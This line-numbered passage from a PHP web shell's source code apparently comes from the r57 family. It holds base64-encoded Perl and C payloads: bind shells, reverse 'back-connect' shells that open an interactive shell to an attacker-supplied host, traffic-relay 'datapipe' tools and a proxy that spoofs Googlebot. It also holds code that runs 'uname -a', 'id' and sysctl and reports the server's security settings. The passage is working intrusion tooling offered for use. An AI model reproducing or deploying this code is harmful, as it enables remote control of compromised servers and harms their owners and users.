1465ICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1
1466Y3Qgc29ja2FkZHJfaW4gcmVtb3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5f
1467ZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9pKGFyZ3ZbMV0p
1468KTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tm
1469ZCA9IHNvY2tldChBRl9JTkVULFNPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigi
1470c29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikmcmVtb3Rl
1471LCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1h
1472Y2NlcHQoc29ja2ZkLDAsMCk7DQogICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsN
1473CiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk7DQogICBy
1474ZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1Zikp
1475DQogICBzeXN0ZW0oImVjaG8gWW91IGFyZSB1c2luZyBITUJyNTcgU1NIIGxpbmUgLWkiKTsNCiAg
1476IGVsc2UNCiAgIGZwcmludGYoc3RkZXJyLCJXcm9uZyBQYXNzd29yZCIpOw0KICAgY2xvc2UobmV3
1477ZmQpOw0KICB9DQogfQ0KfQ0KaW50IGNocGFzcyhjaGFyICpiYXNlLCBjaGFyICplbnRlcmVkKSB7
1478DQppbnQgaTsNCmZvcihpPTA7aTxzdHJsZW4oZW50ZXJlZCk7aSsrKSANCnsNCmlmKGVudGVyZWRb
1479aV0gPT0gJ1xuJykNCmVudGVyZWRbaV0gPSAnXDAnOyANCmlmKGVudGVyZWRbaV0gPT0gJ1xyJykN
1480CmVudGVyZWRbaV0gPSAnXDAnOw0KfQ0KaWYgKCFzdHJjbXAoYmFzZSxlbnRlcmVkKSkNCnJldHVy
1481biAwOw0KfQ==";
1482
1483$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
1484VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
1485JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
1486TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
1487lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
1488Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
1489Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
1490lIENPTk47DQpleGl0IDA7DQp9DQp9";
1491
1492$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
1493aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
1494hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
1495sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
1496kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
1497KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
1498OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1499
1500$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
1501BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
1502SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
1503KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
1504sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
1505Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
1506QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
1507Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1508
1509$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
1510x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
1511HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
1512aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
1513lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
1514xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
1515W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
1516LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
1517udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
15180KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
1519iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
1520KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
1521gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
1522hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
1523iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
1524ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
1525vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
1526AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
1527QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
1528ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
1529gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
1530wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
153129jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
1532MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
1533gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
15345zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
1535HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
1536dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
1537KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
1538ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
1539E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
1540Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
1541NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
1542J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
1543CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
1544dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
1545gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
1546lsZSk7DQogIHJldHVybiAwOw0KfQ==";
1547
1548$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
1549CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
1550bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
1551gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
1552NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
1553iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
1554aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
1555SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
1556xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
1557WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
1558CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
1559yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
1560I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
1561m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
1562IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
1563lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
1564QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
1565CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
1566c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
1567NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
1568UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
1569DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
1570ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
15711ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
1572
1573$prx_pl="IyF1c3IvYmluL3BlcmwKdXNlIFNvY2tldDsKbXkgJHBvcnQgPSAkQVJHVlswXXx8MzEzMzc7Cm15ICRwcm90b2NvbCA9IGdldHByb3RvYn
1574luYW1lKCd0Y3AnKTsKbXkgJG15X2FkZHIgID0gc29ja2FkZHJfaW4gKCRwb3J0LCBJTkFERFJfQU5ZKTsKc29ja2V0IChTT0NLLCBBRl9JTkVULCBTT
15750NLX1NUUkVBTSwgJHByb3RvY29sKSBvciBkaWUgInNvY2tldCgpOiAkISI7CnNldHNvY2tvcHQgKFNPQ0ssIFNPTF9TT0NLRVQsIFNPX1JFVVNFQURE
1576UiwxICkgb3IgZGllICJzZXRzb2Nrb3B0KCk6ICQhIjsKYmluZCAoU09DSywgJG15X2FkZHIpIG9yIGRpZSAiYmluZCgpOiAkISI7Cmxpc3RlbiAoU09
1577DSywgU09NQVhDT05OKSBvciBkaWUgImxpc3RlbigpOiAkISI7CiRTSUd7J0lOVCd9ID0gc3ViIHsKY2xvc2UgKFNPQ0spOwpleGl0Owp9Owp3aGlsZS
1578AoMSkgewpuZXh0IHVubGVzcyBteSAkcmVtb3RlX2FkZHIgPSBhY2NlcHQgKFNFU1NJT04sIFNPQ0spOwpteSAoJGZpc3QsICRtZXRob2QsICRyZW1vd
1579GVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IGFuYWx5emVfcmVxdWVzdCgpOwppZihvcGVuX2Nvbm5lY3Rpb24gKFJFTU9URSwgJHJlbW90ZV9ob3N0LCAk
1580cmVtb3RlX3BvcnQpID09IDApIHsKY2xvc2UgKFNFU1NJT04pOwpuZXh0Owp9CnByaW50IFJFTU9URSAkZmlyc3Q7CnByaW50IFJFTU9URSAiVXNlci1
1581BZ2VudDogR29vZ2xlYm90LzIuMSAoK2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9ib3QuaHRtbClcbiI7CndoaWxlICg8U0VTU0lPTj4pIHsKbmV4dCBpZi
1582AoL1Byb3h5LUNvbm5lY3Rpb246LyB8fCAvVXNlci1BZ2VudDovKTsKcHJpbnQgUkVNT1RFICRfOwpsYXN0IGlmICgkXyA9fiAvXltcc1x4MDBdKiQvK
1583TsKfQpwcmludCBSRU1PVEUgIlxuIjsKJGhlYWRlciA9IDE7CndoaWxlICg8UkVNT1RFPikgewpwcmludCBTRVNTSU9OICRfOwppZiAoJGhlYWRlcikg
1584eyAgICAgCmlmICgkaGVhZGVyICYmICRfID1+IC9eW1xzXHgwMF0qJC8pIHsKJGhlYWRlciA9IDA7Cn0KfQp9CmNsb3NlIChSRU1PVEUpOwpjbG9zZSA
1585oU0VTU0lPTik7Cn0KY2xvc2UgKFNPQ0spOwpzdWIgYW5hbHl6ZV9yZXF1ZXN0IHsKbXkgKCRmaXN0LCAkdXJsLCAkcmVtb3RlX2hvc3QsICRyZW1vdG
1586VfcG9ydCwgJG1ldGhvZCk7CiRmaXJzdCA9IDxTRVNTSU9OPjsKJHVybCA9ICgkZmlyc3QgPX4gbXwoaHR0cDovL1xTKyl8KVswXTsKKCRtZXRob2QsI
1587CRyZW1vdGVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IAooJGZpcnN0ID1+IG0hKEdFVCkgaHR0cDovLyhbXi86XSspOj8oXGQqKSEgKTsKaWYgKCEkcmVt
1588b3RlX2hvc3QpIHsKY2xvc2UoU0VTU0lPTik7CmV4aXQ7Cn0KJHJlbW90ZV9wb3J0ID0gImh0dHAiIHVubGVzcyAoJHJlbW90ZV9wb3J0KTsKJGZpcnN
15890ID1+IHMvaHR0cDpcL1wvW15cL10rLy87CnJldHVybiAoJGZpcnN0LCAkbWV0aG9kLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCk7Cn0Kc3ViIG
15909wZW5fY29ubmVjdGlvbiB7Cm15ICgkaG9zdCwgJHBvcnQpID0gQF9bMSwyXTsKbXkgKCRkZXN0X2FkZHIsICRjdXIpOwppZiAoJHBvcnQgIX4gL15cZ
1591CskLykgewokcG9ydCA9IChnZXRzZXJ2YnluYW1lKCRwb3J0LCAidGNwIikpWzJdOwokcG9ydCA9IDgwIHVubGVzcyAoJHBvcnQpOwp9CiRob3N0ID0g
1592aW5ldF9hdG9uICgkaG9zdCkgb3IgcmV0dXJuIDA7CiRkZXN0X2FkZHIgPSBzb2NrYWRkcl9pbiAoJHBvcnQsICRob3N0KTsKc29ja2V0ICgkX1swXSw
1593gQUZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90b2NvbCkgb3IgZGllICJzb2NrZXQoKSA6ICQhIjsKY29ubmVjdCAoJF9bMF0sICRkZXN0X2FkZHIpIG
15949yIHJldHVybiAwOwokY3VyID0gc2VsZWN0KCRfWzBdKTsgIAokfCA9IDE7CnNlbGVjdCgkY3VyKTsKcmV0dXJuIDE7Cn0=";
1595
1596if($unix)
1597 {
1598 if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; }
1599 if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; }
1600 if($safe_mode) { $sysctl = '-'; }
1601 else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; }
1602 else
1603 {
1604 $sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease');
1605 if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); }
1606 if(empty($sysctl)) { $sysctl = '-'; }
1607 setcookie('sysctl',$sysctl);
1608 }
1609 }
1610echo $head;
1611echo '</head>';
1612
1613echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#FFFFFF><tr><td bgcolor=#0C0C0C width=160><font face=Verdana size=2>'.ws(2).'<font face=Webdings size=6><b>v4</b></font><b>'.ws(2).'Team '.$version.'</b></font></td><td bgcolor=#0C0C0C><font face=Verdana size=-2>';
1614echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b> Your IP: [<font color=067AFC>".gethostbyname($_SERVER["REMOTE_ADDR"])."</font>]";
1615if(isset($_SERVER['X_FORWARDED_FOR'])){echo " X_FORWARDED_FOR: [<font color=red>".$_SERVER['X_FORWARDED_FOR']."</font>]";}
1616if(isset($_SERVER['CLIENT_IP'])){echo " CLIENT_IP: [<font color=red>".$_SERVER['CLIENT_IP']."</font>]";}
1617echo " Server IP: [<font color=067AFC>".gethostbyname($_SERVER["HTTP_HOST"])."</font>]";
1618
1619echo "<br>";
1620
1621echo ws(2)."PHP version: <font color=067AFC><b>".@phpversion()."</b></font>";
1622$curl_on = @function_exists('curl_version');
1623echo ws(2);
1624echo "cURL: <b>".(($curl_on)?("<font color=2BD53F>ON</font>"):("<font color=red>OFF</font>"));
1625echo "</b>".ws(2);
1626echo "MySQL: <b>";
1627$mysql_on = @function_exists('mysql_connect');
1628if($mysql_on){
1629echo "<font color=2BD53F>ON</font>"; } else { echo "<font color=red>OFF</font>"; }
1630echo "</b>".ws(2);
1631echo "MSSQL: <b>";
1632$mssql_on = @function_exists('mssql_connect');
1633if($mssql_on){echo "<font color=2BD53F>ON</font>";}else{echo "<font color=red>OFF</font>";}
1634echo "</b>".ws(2);
1635echo "PostgreSQL: <b>";
1636$pg_on = @function_exists('pg_connect');
1637if($pg_on){echo "<font color=2BD53F>ON</font>";}else{echo "<font color=red>OFF</font>";}
1638echo "</b>".ws(2);
1639echo "Oracle: <b>";
1640$ora_on = @function_exists('ocilogon');
1641if($ora_on){echo "<font color=2BD53F>ON</font>";}else{echo "<font color=red>OFF</font>";}
1642echo "</b><br>".ws(2);
1643
1644echo "Safe_mode: <b>";
1645echo (($safe_mode)?("<font color=2BD53F>ON</font>"):("<font color=red>OFF</font>"));
1646echo "</b>".ws(2);
1647echo "Open_basedir: <b>";
1648if($open_basedir) { if (''==($df=@ini_get('open_basedir'))) {echo "<font color=red>ini_get disable!</font></b>";}else {echo "<font color=2BD53F>$df</font></b>";};}
1649else {echo "<font color=red>NONE</font></b>";}
1650echo ws(2)."Safe_mode_exec_dir: <b>";
1651if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=2BD53F>$df</font></b>";};}
1652else {echo "<font color=red>ini_get disable!</font></b>";}
1653echo ws(2)."Safe_mode_include_dir: <b>";
1654if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_include_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=2BD53F>$df</font></b>";};}
1655else {echo "<font color=red>ini_get disable!</font></b>";}
1656echo "<br>".ws(2);
1657echo "Disabled functions : <b>";$df='ini_get disable!';
1658if((@function_exists('ini_get')) && (''==($df=@ini_get('disable_functions')))){echo "<font color=red>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";}
1659
1660$free = @diskfreespace($dir);
1661if (!$free) {$free = 0;}
1662$all = @disk_total_space($dir);
